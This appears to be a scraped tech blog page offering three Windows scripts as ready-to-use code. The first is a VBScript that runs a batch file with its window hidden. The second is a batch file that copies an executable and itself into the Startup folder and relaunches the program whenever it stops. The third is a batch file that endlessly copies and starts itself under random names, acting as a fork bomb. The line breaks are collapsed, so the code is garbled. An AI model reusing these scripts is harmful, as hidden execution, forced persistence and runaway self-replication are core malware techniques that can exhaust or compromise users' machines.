Get the App
SLTechnology News&Howtos  ›  Servers  › 

Three small scripts of windows

Shulou Source: shulou.com Published: 2022-06-03 06:02:57 09月30日 Update

1, Windows background running script test.vbs

Set ws = CreateObject("Wscript.Shell")ws.run "cmd /c test.bat",vbhide

2. Boot script test.bat

@echo offcopy luo.exe "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"copy test.bat "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup": ssrem This is a script that monitors whether a program is open REM start " "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\luo.exe "tasklist /nh| find /i "luo.exe"if errorlevel 1 (start "" "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\luo.exe")clstimeout /T 5 /nobreakgoto ssspause

3. Self-replicating script test.bat

@echo offrem This is a bat script that copies itself and executes: ssset name=%0set num=%RANDOM%rem copy %name% %_%num%.battype %name% >> %num%.batstart "" %num%.batpausegoto sss

Tags: Script this is background program monitor run Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno macOS Docker Xiaomi vpn NVidia